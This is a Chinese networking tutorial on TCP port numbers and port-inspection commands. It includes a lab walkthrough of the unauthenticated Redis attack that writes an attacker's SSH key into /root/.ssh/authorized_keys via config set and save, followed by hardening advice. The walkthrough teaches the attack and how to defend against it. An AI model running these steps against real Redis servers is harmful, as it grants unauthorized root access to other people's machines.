Skip to content

07 繁忙的贸易港口 - 聊聊端口号

这篇文章我们来聊聊端口号这个老朋友。端口号的英文叫 Port,原意是 "港口,口岸" 的意思,作为繁忙的进出口转运货物,跟端口号在计算机中的含义非常接近。

236966-1

分层结构中每一层都有一个唯一标识,比如链路层的 MAC 地址,IP 层的 IP 地址,传输层是用端口号。

img

TCP 用两字节的整数来表示端口,一台主机最大允许 65536 个端口号的。TCP 首部中端口号如下图黄色高亮部分。

img

如果把 ip 地址比作一间房子,端口就是出入这间房子的门。房子一般只有几个门,但是一台主机端口最多可以有 65536 个。

有了 IP 协议,数据包可以顺利的被传输到对应 IP 地址的主机,当主机收到一个数据包时,应该把这个数据包交给哪个应用程序进行处理呢?这台主机可能运行多个应用程序,比如处理 HTTP 请求的 web 服务器 Nginx,Redis 服务器,读写 MySQL 服务器的客户端等。

传输层就是用端口号来区分同一个主机上不同的应用程序的。操作系统为有需要的进程分配端口号,当目标主机收到数据包以后,会根据数据报文首部的目标端口号将数据发送到对应端口的进程。

img

主动发起的客户端进程也需要开启端口,会把自己的端口放在首部的源端口(source port)字段中,以便对方知道要把数据回复给谁。

01 端口号分类

端口号被划分成以下 3 种类型:

  • 熟知端口号(well-known port)
  • 已登记的端口(registered port)
  • 临时端口号(ephemeral port)

熟知端口号(well-known port)

熟知端口号由专门的机构由 IANA 分配和控制,范围为 0~1023。为了能让客户端能随时找到自己,服务端程序的端口必须要是固定的。很多熟知端口号已经被用就分配给了特定的应用,比如 HTTP 使用 80 端口,HTTPS 使用 443 端口,ssh 使用 22 端口。访问百度 http://www.baidu.com/,其实就是向百度服务器之一(163.177.151.110)的 80 端口发起请求,curl -v http://www.baidu.com/ 抓包结果如下

bash
20:12:32.336962 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [S], seq 2171375522, win 29200, options [mss 1460,sackOK,TS val 346956173 ecr 0,nop,wscale 7], length 0
20:12:32.373834 IP 163.177.151.110.80 > 10.211.55.10.39438: Flags [S.], seq 3304042876, ack 2171375523, win 32768, options [mss 1460,wscale 1,nop], length 0
20:12:32.373948 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [.], ack 1, win 229, length 0
20:12:32.374290 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [P.], seq 1:78, ack 1, win 229, length 77
GET / HTTP/1.1
Host: www.baidu.com
User-Agent: curl/7.64.1
Accept: */*

在 Linux 上,如果你想监听这些端口需要 Root 权限,为的就是这些熟知端口不被普通的用户进程占用,防止某些普通用户实现恶意程序(比如伪造 ssh 监听 22 端口)来获取敏感信息。熟知端口也被称为保留端口。

已登记的端口(registered port)

已登记的端口不受 IANA 控制,不过由 IANA 登记并提供它们的使用情况清单。它的范围为 1024 ~ 49151。

为什么是 49151 这样一个魔数?其实是取的端口号最大值 65536 的 3/4 减 1 (49151 = 65536 * 0.75 - 1)。可以看到已登记的端口占用了大约 75% 端口号的范围。

已登记的端口常见的端口号有:

  • MySQL:3306
  • Redis:6379
  • MongoDB:27017

熟知端口号和已登记的端口都可以在 iana 的官网 查到

img

临时端口号(ephemeral port) 如果应用程序没有调用 bind() 函数将 socket 绑定到特定的端口上,那么 TCP 和 UDP 会为该 socket 分配一个唯一的临时端口。IANA 将 49152 ~ 65535 范围的端口称为临时端口(ephemeral port)或动态端口(dynamic port),也称为私有端口(private port),这些端口可供本地应用程序临时分配端口使用。

不同的操作系统实现会选择不同的范围分配临时端口,在 Linux 上能分配的端口范围由 /proc/sys/net/ipv4/ip_local_port_range 变量决定,一般 Linux 内核端口范围为 32768~60999

bash
cat /proc/sys/net/ipv4/ip_local_port_range
32768   60999

在需要主动发起大量连接的服务器上(比如网络爬虫、正向代理)可以调整 ip_local_port_range 的值,允许更多的可用端口。

02 端口相关的命令

如何查看对方端口是否打开

使用 nc 和 telnet 这两个命令可以非常方便的查看到对方端口是否打开或者网络是否可达,比如查看 10.211.55.12 机器的 6379 端口是否打开可以使用

bash
telnet 10.211.55.12 6379
Trying 10.211.55.12...
Connected to 10.211.55.12.
Escape character is '^]'.


nc -v  10.211.55.12 6379
Ncat: Connected to 10.211.55.12:6379

这两个命令我后面会有独立的内容来介绍,现在先有一个印象。

如果对端端口没有打开,会发生什么呢?比如 10.211.55.12 的 6380 端口没有打开,使用 telnet 和 nc 命令会出现 "Connection refused" 错误

bash
telnet  10.211.55.12 6380
Trying 10.211.55.12...
telnet: connect to address 10.211.55.12: Connection refused


nc -v  10.211.55.12 6380                                                                                                                                    Ncat: Connection refused

如何查看端口被什么进程监听占用

比如查看 22 端口被谁占用,常见的可以使用 lsof 和 netstat 两种方法

第一种方法:使用 netstat

bash
sudo netstat -ltpn | grep :22

img

第二种方法:使用 lsof 因为在 linux 上一切皆文件,TCP socket 连接也是一个 fd。因此使用 lsof 也可以

bash
sudo lsof -n -P -i:22

其中 -n 表示不将 IP 转换为 hostname,-P 表示不将 port number 转换为 service name,-i:port 表示端口号为 22 的进程

img

可以看到 22 端口被进程号为 1333 的 sshd 进程监听

反过来,如何查看进程监听或者打开了哪些端口呢?

如何查看进程监听的端口号

还是以 sshd 为例,先用 ps -ef | grep sshd 找到 sshd 的进程号,这里为 1333

第一种方法:使用 netstat

bash
sudo netstat -atpn | grep 1333

img

第二种方法:使用 lsof

bash
sudo lsof -n -P -p 1333 | grep TCP

img

第三种方法奇技淫巧:/proc/pid

在 linux 上有一个神奇的目录 /proc,每个进程启动以后会生成这样一个目录,比如我们用 nc -4 -l 8080 快速启动一个 tcp 的服务器,使用 ps 找到进程 id

bash
ps -ef | grep "nc -4 -l 8080" | grep -v grep

UID        PID  PPID  C STIME TTY          TIME CMD
ya       19196 15191  0 00:33 pts/6    00:00:00 nc -4 -l 8080

然后 cd 进 /proc/19196 (备注 19196 是 nc 命令的进程号),执行 ls -l 看到如下输出

img

里面有一个很有意思的文件和目录,cwd 表示 nc 命令是在哪个工作目录执行的。fd 目录表示进程打开的所有的文件,cd 到那个目录

img

fd 为 0,1,2 的分别表示标准输入 stdin(0)、标准输出 stdout(1)、错误输出 stderr(2)。fd 为 3 表示 nc 监听的套接字 fd,后面跟了一个神奇的数字 25597827,这个数字表示 socket 的 inode 号,我们可以通过这个 inode 号来找改 socket 的信息。

TCP 的连接信息会在这里显示 cat /proc/net/tcp

img

可以找到 inode 为 25597827 的套接字。其中 local_address 为 00000000:1F90,rem_address 为 00000000:0000,表示四元组(0.0.0.0:8080, 0.0.0.0:0),state 为 0A,表示 TCP_LISTEN 状态。

03 利用端口进行网络攻击

道路千万条,安全第一条。暴露不合理,运维两行泪。

把本来应该是内网或本机调用的服务端口暴露到公网是极其危险的事情,比如之前 2015 年很多 Redis 服务器遭受到了攻击,方法正是利用了暴露在公网的 Redis 端口进行入侵系统。

img

它的原理是利用了不需要密码登录的 redis,清空 redis 数据库后写入他自己的 ssh 登录公钥,然后将 redis 数据库备份为 /root/.ssh/authotrized_keys。这就成功地将自己的公钥写入到 .ssh 的 authotrized_keys,无需密码直接 root 登录被黑的主机。

img

下面我们来演示一个以 root 权限运行的 redis 服务器是怎么被黑的。

场景:一台 ip 为 10.211.55.12(我的一台 Centos7 虚拟机)的 6379 端口对外暴露端口。首先尝试登录,发现需要输入密码

bash
ssh root@10.211.55.12
root@10.211.55.12's password:
Permission denied, please try again.

切换到 root 用户

  1. 下载解压 Redis 3.0 的代码:

    bash
    wget https://codeload.github.com/antirez/redis/zip/3.0
    unzip 3.0
  2. 编译 redis

    bash
    cd redis-3.0
    make
  3. 运行 redis 服务器,不出意外,redis 服务器就启动起来了。

    bash
    cd src
    ./redis-server

    执行 netstat

    bash
    sudo netstat -ltpn | grep 6379

    img

    可以看到 redis 服务器默认监听 0.0.0.0:6379,表示允许任意来源的连接 6379 端口,可以在另外一台机器使用 telnet 或者 nc 访问此端口,如果成功连接,可以输入 ping 看是否返回 pong。

    bash
    nc c4 6379
    ping
    +PONG

    注意

    Centos7 上默认启用了防火墙,会禁止访问某些端口,可以下面的方式禁用。

    bash
    sudo systemctl stop firewalld.service
  4. 客户端使用 ssh-keygen 生成公钥,不停按 enter,不出意外马上在 ~/.ssh 生成了目录生成了公私钥文件

    bash
    ssh-keygen
    ll ~/.ssh
    ya@c2 ~$ ll .ssh
    -rw-------. 1 ya ya 1.7K 4  14 03:00 id_rsa
    -rw-r--r--. 1 ya ya  387 4  14 03:00 id_rsa.pub
  5. 将客户端公钥写入到文件 foo.txt 中以便后面写入到 redis,其实是生成一个头尾都包含两个空行的公钥文件

    bash
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
  6. 先清空 Redis 存储所有的内容,将 foo.txt 文件内容写入到某个 key 中,这里为 crackit,随后调用 redis-cli 登录 redis 调用 config 命令设置文件 redis 的 dir 目录和把 rdb 文件的名字 dbfilename 设置为 authorized_keys。

    bash
    redis-cli -h 10.211.55.12 echo flushall
    cat foo.txt | redis-cli -h 10.211.55.12 -x set crackit
    
    // 登录 Redis
    redis-cli -h 10.211.55.12
    
    config set dir /root/.ssh
    
    config set dbfilename "authorized_keys"
  7. 执行 save 将 crackit 内容 落盘

    bash
    save
  8. 尝试登录

    bash
    ssh root@10.211.55.12

我们来看一下,服务器 10.211.55.12 机器上 /root/.ssh/authorized_keys 的内容,可以看到 authorized_keys 文件正是我们客户端机器的公钥文件

img

利用这个漏洞有几个前提条件

  • Redis 绑定 0.0.0.0 允许所有来源的 TCP 连接,且没有设置密码 这完全是作死,因为就算不能入侵你的系统,也可以修改 Redis 中缓存的内容。不过 Redis 的设计者们一开始就认为不会有人这么做,因为把 Redis 放在一个信任的内网环境运行才是正道啊。
  • Redis 没有设置密码或密码过于简单 大部分开发都没有意识到 Redis 没有密码是一个大问题,要么是一个很简单的密码要么没有密码,Redis 的处理能力非常强,auth 这种命令可以一秒钟处理几万次以上,简单的密码很容易被暴力破解
  • redis-server 进程使用 root 用户启动 不用 root 用户启动也可以完成刷新 authorized_keys 的功能,但是不能登陆,因为非 root 用户 authorized_keys 的权限要求是 600 才可以登录,但是可以覆盖破坏系统的文件。
  • 没有禁用 save、config、flushall 这些高危操作 在正式服务器上这些高危操作都应该禁用或者进行重命名。这样就算登录你你的 Redis,也没有办法修改 Redis 的配置和修改服务器上的文件。

04 解决办法

  • 首要原则:不暴露服务到公网 让 redis 运行在相对可信任的内网环境
  • 设置高强度密码 使用高强度密码增加暴力破解的难度
  • 禁止 root 用户启动 redis 业务服务永远不要使用 root 权限启动
  • 禁用或者重命名高危命令 禁用或者重命名 save、config、flushall 等这些高危命令,就算成功登陆了 Redis,也就只能折腾你的 redis,不能取得系统的权限进行更危险的操作
  • 升级高版本的 Redis 出现如此严重的问题,Redis 从 3.2 版本加入了 protected mode,在没有指定 bind 地址或者没有开启密码设置的情况下,只能通过回环地址本地访问,如果尝试远程访问 redis,会提示以下错误:
bash
-DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

05 小结

这篇文章讲解了端口号背后的细节,我为你准备了思维导图:

img

06 作业题

  1. 小于()的 TCP/UDP 端口号已保留与现有服务一一对应,此数字以上的端口号可自由分配?

    • A. 80
    • B. 1024
    • C. 8080
    • D. 65525
  2. 下列 TCP 端口号中不属于熟知端口号的是()

    • A. 21
    • B. 23
    • C. 80
    • D. 3210
  3. 关于网络端口号,以下哪个说法是正确的()

    • A. 通过 netstat 命令,可以查看进程监听端口的情况
    • B. https 协议默认端口号是 8081
    • C. ssh 默认端口号是 80
    • D. 一般认为,0-80 之间的端口号为周知端口号 (Well Known Ports)